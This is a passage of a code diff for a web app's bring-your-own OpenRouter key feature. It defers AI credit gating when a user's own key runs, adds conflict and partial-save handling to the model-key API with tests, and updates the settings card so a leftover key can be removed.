+ const creditGate = await canConsumeAI(userId, toPersonalSubscriptionTier(user.subscriptionTier), {
+ // Pulse summarizes the person's own workspace and is not a drive session, so it
+ // spends their personal credits (SPEND-8).
+ spend: PERSONAL_SPEND,
+ maxInFlight: MAX_CHAT_INFLIGHT,
+ });
+ if (!creditGate.allowed) {
+ loggers.api.warn('Pulse generate: AI credit gate denied', { userId, reason: creditGate.reason });
+ return creditGateErrorResponse(creditGate.reason, creditGate.refusal);
+ }
+ // The gate's reservation for this call, released when usage is billed below.
+ holdId = creditGate.holdId;
+ walletId = creditGate.walletId;
+ return null;
+ };
+ // BYOK (ADR 0009): whose key runs is only known once the drives and orgs the pulse reads are (the factory decides
+ // it below), and on the person's own key a pulse needs no PageSpace credits. So someone who may run on their own
+ // key is gated after that decision, and only if it is PageSpace's key; everyone else is gated here, as before.
+ const mayRunOnOwnKey = (await resolveModelKeySource({ userId, provider: resolveProviderModel(BACKGROUND_LIGHT_PROVIDER, BACKGROUND_LIGHT_MODEL).provider, driveId: null })).source !== 'managed';
+ if (!mayRunOnOwnKey) {
+ const refused = await gatePulse();
+ if (refused) return refused;
}
- // The gate's reservation for this call, released when usage is billed below.
- holdId = creditGate.holdId;
- walletId = creditGate.walletId;
// Determine timezone: use client-provided, then stored preference, then UTC
const userTimezone = clientTimezone || normalizeTimezone(user?.timezone);
@@ -753,6 +764,12 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob
return NextResponse.json({ error: providerResult.error }, { status: providerResult.status });
}
+ // BYOK: the deferred gate, for someone who may have run on their own key but whose pulse runs on PageSpace's.
+ if (mayRunOnOwnKey && providerResult.keySource !== 'user_key') {
+ const refused = await gatePulse();
+ if (refused) return refused;
+ }
+
// Generate summary
const result = await generateText({
model: providerResult.model,
@@ -768,8 +785,7 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob
const usage = result.usage;
discardUsageOutcome(AIMonitoring.trackUsage({
// BYOK (ADR 0009): the factory decided whose key ran, judged on every drive and org whose content this
- // pulse carries (not known yet at the gate). On the person's own key the row is recorded, never charged,
- // and the gate's hold is released.
+ // pulse carries. On the person's own key the row is recorded and never charged (no hold was taken).
keySource: providerResult.keySource,
userId,
provider: providerResult.provider,
diff --git a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
index 361bc01d00..852f61100e 100644
--- a/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
+++ b/apps/web/src/app/api/user/model-key/__tests__/route.test.ts
@@ -82,6 +82,20 @@ describe('PUT /api/user/model-key', () => {
});
});
+describe('PUT /api/user/model-key, a save that partly completed or raced', () => {
+ it('given a new key stored while an older one could not be revoked yet, should answer 201 with the new key and say so', async () => {
+ mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'previous_key_active', account, verified: true });
+ const response = await PUT(req('PUT', { apiKey: CANARY }));
+ expect([response.status, await response.json()]).toEqual([201, { key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' }, verified: true, previousKeyActive: true }]);
+ });
+
+ it('given another change of the person\'s key still running, should answer 409 so they retry', async () => {
+ mockAuthority.setModelKey.mockResolvedValue({ ok: false, reason: 'conflict' });
+ mockAuthority.removeModelKey.mockResolvedValue({ ok: false, reason: 'conflict' });
+ expect([(await PUT(req('PUT', { apiKey: CANARY }))).status, (await DELETE(req('DELETE'))).status]).toEqual([409, 409]);
+ });
+});
+
describe('GET /api/user/model-key', () => {
it('given an enabled person with a key, should show its metadata only', async () => {
mockAuthority.getModelKey.mockResolvedValue(account);
@@ -89,10 +103,31 @@ describe('GET /api/user/model-key', () => {
expect(body).toEqual({ enabled: true, available: true, key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' } });
});
- it('given a person the admin has not enabled, should say so and read nothing', async () => {
+ it('given a person the admin has not enabled and no key, should say so and show no key', async () => {
+ mockFlag.mockResolvedValue(false);
+ mockAuthority.getModelKey.mockResolvedValue(null);
+ const body = await (await GET(req('GET'))).json();
+ expect(body).toEqual({ enabled: false, available: true, key: null });
+ });
+
+ it('given the flag switched off after the person added a key, should still show the key so they can remove it', async () => {
mockFlag.mockResolvedValue(false);
+ mockAuthority.getModelKey.mockResolvedValue(account);
+ const body = await (await GET(req('GET'))).json();
+ expect(body).toEqual({ enabled: false, available: true, key: { id: 'acct_mk', createdAt: 1, lastUsedAt: null, status: 'active' } });
+ });
+
+ it('given a person not enabled whose key cannot be read, should answer normally with no key', async () => {
+ mockFlag.mockResolvedValue(false);
+ mockAuthority.getModelKey.mockRejectedValue(new Error('plane down'));
+ const response = await GET(req('GET'));
+ expect([response.status, await response.json()]).toEqual([200, { enabled: false, available: true, key: null }]);
+ });
+
+ it('given on-prem, should read nothing', async () => {
+ mockOnPrem.mockReturnValue(true);
const body = await (await GET(req('GET'))).json();
- expect([body, mockAuthority.getModelKey.mock.calls.length]).toEqual([{ enabled: false, available: true, key: null }, 0]);
+ expect([body.key, mockAuthority.getModelKey.mock.calls.length]).toEqual([null, 0]);
});
});
diff --git a/apps/web/src/app/api/user/model-key/route.ts b/apps/web/src/app/api/user/model-key/route.ts
index 15bf340c2d..dd7632d9a0 100644
--- a/apps/web/src/app/api/user/model-key/route.ts
+++ b/apps/web/src/app/api/user/model-key/route.ts
@@ -15,6 +15,12 @@ const AUTH_OPTIONS_WRITE = { allow: ['session'] as const, requireCSRF: true };
/** The key itself is validated by the authority; this only bounds what is read from the request. */
const setModelKeyBody = z.object({ apiKey: z.string().min(1).max(600) }).strict();
+/** A refused save: the person's mistake is 400, another change of their key still running is 409, anything else 503. */
+function setRefusalStatus(reason: string): number {
+ if (reason === 'key_invalid' || reason === 'key_rejected') return 400;
+ return reason === 'conflict' ? 409 : 503;
+}
+
/** What the settings card may show: never the key, never a fragment of it. */
function shownKey(account: SafeAccount | null) {
return account === null ? null : { id: account.id, createdAt: account.createdAt, lastUsedAt: account.lastUsedAt, status: account.status };
@@ -22,19 +28,22 @@ function shownKey(account: SafeAccount | null) {
/**
* GET /api/user/model-key — whether the person may bring their own OpenRouter key (ADR 0009), whether this
- * deployment can use one, and their key's metadata.
+ * deployment can use one, and their key's metadata. A key left from before the flag was switched off is still
+ * shown, so the person can remove it (DELETE allows that); it is not used meanwhile.
*/
export async function GET(request: Request) {
const auth = await authenticateRequestWithOptions(request, AUTH_OPTIONS_READ);
if (isAuthError(auth)) return auth.error;
const enabled = isOnPrem() ? false : await isFeatureEnabled('byok_model_key', auth.userId).catch(() => false);
const authority = getAccountAuthority();
- if (!enabled || authority === null) return NextResponse.json({ enabled, available: authority !== null, key: null });
+ if (isOnPrem() || authority === null) return NextResponse.json({ enabled, available: authority !== null, key: null });
try {
const key = await authority.getModelKey({ actor: actorFromAuth(auth) });
return NextResponse.json({ enabled, available: true, key: shownKey(key) });
} catch (error) {
loggers.api.error('Error reading model key', error as Error);
+ // Someone not enabled has nothing to manage here: a failed read must not break their Settings page.
+ if (!enabled) return NextResponse.json({ enabled, available: true, key: null });
return NextResponse.json({ error: 'Failed to read model key' }, { status: 500 });
}
}
@@ -55,9 +64,10 @@ export async function PUT(request: Request) {
try {
const result = await authority.setModelKey({ actor: actorFromAuth(auth), apiKey: parsed.data.apiKey });
- if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'key_invalid' || result.reason === 'key_rejected' ? 400 : 503 });
+ if (!result.ok && result.reason !== 'previous_key_active') return NextResponse.json({ error: result.reason }, { status: setRefusalStatus(result.reason) });
+ // Stored and in use. `previousKeyActive`: an older key could not be revoked yet; the next save or removal retries it.
auditRequest(request, { eventType: 'auth.token.created', userId: auth.userId, resourceType: 'agent_account', resourceId: result.account?.id ?? 'model_key' });
- return NextResponse.json({ key: shownKey(result.account), verified: result.verified ?? false }, { status: 201 });
+ return NextResponse.json({ key: shownKey(result.account), verified: result.verified ?? false, previousKeyActive: !result.ok }, { status: 201 });
} catch (error) {
loggers.api.error('Error storing model key', error as Error);
return NextResponse.json({ error: 'Failed to store model key' }, { status: 500 });
@@ -75,7 +85,7 @@ export async function DELETE(request: Request) {
if (authority === null) return NextResponse.json({ error: 'not_configured' }, { status: 503 });
try {
const result = await authority.removeModelKey({ actor: actorFromAuth(auth) });
- if (!result.ok) return NextResponse.json({ error: result.reason }, { status: 503 });
+ if (!result.ok) return NextResponse.json({ error: result.reason }, { status: result.reason === 'conflict' ? 409 : 503 });
auditRequest(request, { eventType: 'auth.token.revoked', userId: auth.userId, resourceType: 'agent_account', resourceId: 'model_key' });
return NextResponse.json({ key: null });
} catch (error) {
diff --git a/apps/web/src/app/settings/ai/ModelKeyCard.tsx b/apps/web/src/app/settings/ai/ModelKeyCard.tsx
index b8b05a7d7b..e1c68eb9b5 100644
--- a/apps/web/src/app/settings/ai/ModelKeyCard.tsx
+++ b/apps/web/src/app/settings/ai/ModelKeyCard.tsx
@@ -1,9 +1,10 @@
'use client';
/**
- * "Use your own OpenRouter key" (ADR 0009). Shown only to people an admin enabled. The key is sent once to
+ * "Use your own OpenRouter key" (ADR 0009). Shown to people an admin enabled. The key is sent once to
* the credential plane and never shown again: this card knows only whether a key is set and when it was
- * last used. Calls in org drives always use PageSpace's key, which the copy says plainly.
+ * last used. Calls in org drives (and in drives someone else owns) always use PageSpace's key, which the copy says
+ * plainly. A key left after an admin switched the flag off is shown for removal only.
*/
import { useEffect, useId, useState } from 'react';
import { toast } from 'sonner';
@@ -26,6 +27,7 @@ const ERROR_COPY: Record = {
not_configured: 'This deployment cannot store keys right now.',
plane_unavailable: 'Your key could not be stored right now. Try again in a moment.',
store_refused: 'Your key could not be stored. Try again in a moment.',
+ conflict: 'Another change to your key is in progress. Try again in a moment.',
};
const formatTime = (ms: number | null) => (ms === null ? 'never' : new Date(ms).toLocaleString());
@@ -61,16 +63,18 @@ export function ModelKeyCard() {
return () => useEditingStore.getState().endEditing(componentId);
}, [draft, componentId]);
- if (state === null || !state.enabled) return null;
+ // Not enabled: shown only to remove a key left from before the admin switched the flag off.
+ if (state === null || (!state.enabled && state.key === null)) return null;
async function save() {
setSaving(true);
try {
- const result = await put<{ key: ShownKey; verified: boolean }>('/api/user/model-key', { apiKey: draft });
+ const result = await put<{ key: ShownKey; verified: boolean; previousKeyActive?: boolean }>('/api/user/model-key', { apiKey: draft });
setState((current) => (current === null ? current : { ...current, key: result.key }));
setDraft('');
if (result.verified) toast.success('OpenRouter accepted your key. Your model calls now run on it.');
else toast.warning('Your key is saved, but OpenRouter could not be reached to check it. If it is wrong, your next chat will say so.');
+ if (result.previousKeyActive) toast.warning('Your previous key could not be removed from PageSpace yet. Your calls use the new key; save or remove again to clear the old one.');
} catch (error) {
const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined;
toast.error(ERROR_COPY[reason ?? ''] ?? 'Your key could not be saved.');
@@ -85,8 +89,9 @@ export function ModelKeyCard() {
await del('/api/user/model-key');
setState((current) => (current === null ? current : { ...current, key: null }));
toast.success('Your key is removed from PageSpace. It still works at OpenRouter until you revoke it there.');
- } catch {
- toast.error('Your key could not be removed right now.');
+ } catch (error) {
+ const reason = error instanceof ApiRequestError ? (error.body as { error?: string } | undefined)?.error : undefined;
+ toast.error(reason === 'conflict' ? ERROR_COPY.conflict : 'Your key could not be removed right now.');
} finally {
setSaving(false);
}
@@ -101,7 +106,7 @@ export function ModelKeyCard() {
Preview
- Your own model calls run on your OpenRouter key and are not charged PageSpace credits. Calls in an organization's drives always use PageSpace's key.
+ Your own model calls run on your OpenRouter key and are not charged PageSpace credits. Calls in an organization's drive or in a drive someone else owns, and conversations that have already used PageSpace's key, stay on PageSpace's key. On your key, the assistant cannot read organization drives.
@@ -112,6 +117,10 @@ export function ModelKeyCard() {
+ {!state.enabled && (
+ Bringing your own key is switched off for your account, so PageSpace no longer uses this key. You can remove it.
+ )}
+
{!state.available ? (
This deployment cannot use your own key right now.
) : state.key ? (
@@ -128,7 +137,7 @@ export function ModelKeyCard() {
) : null}
- {state.available && (
+ {state.available && state.enabled && (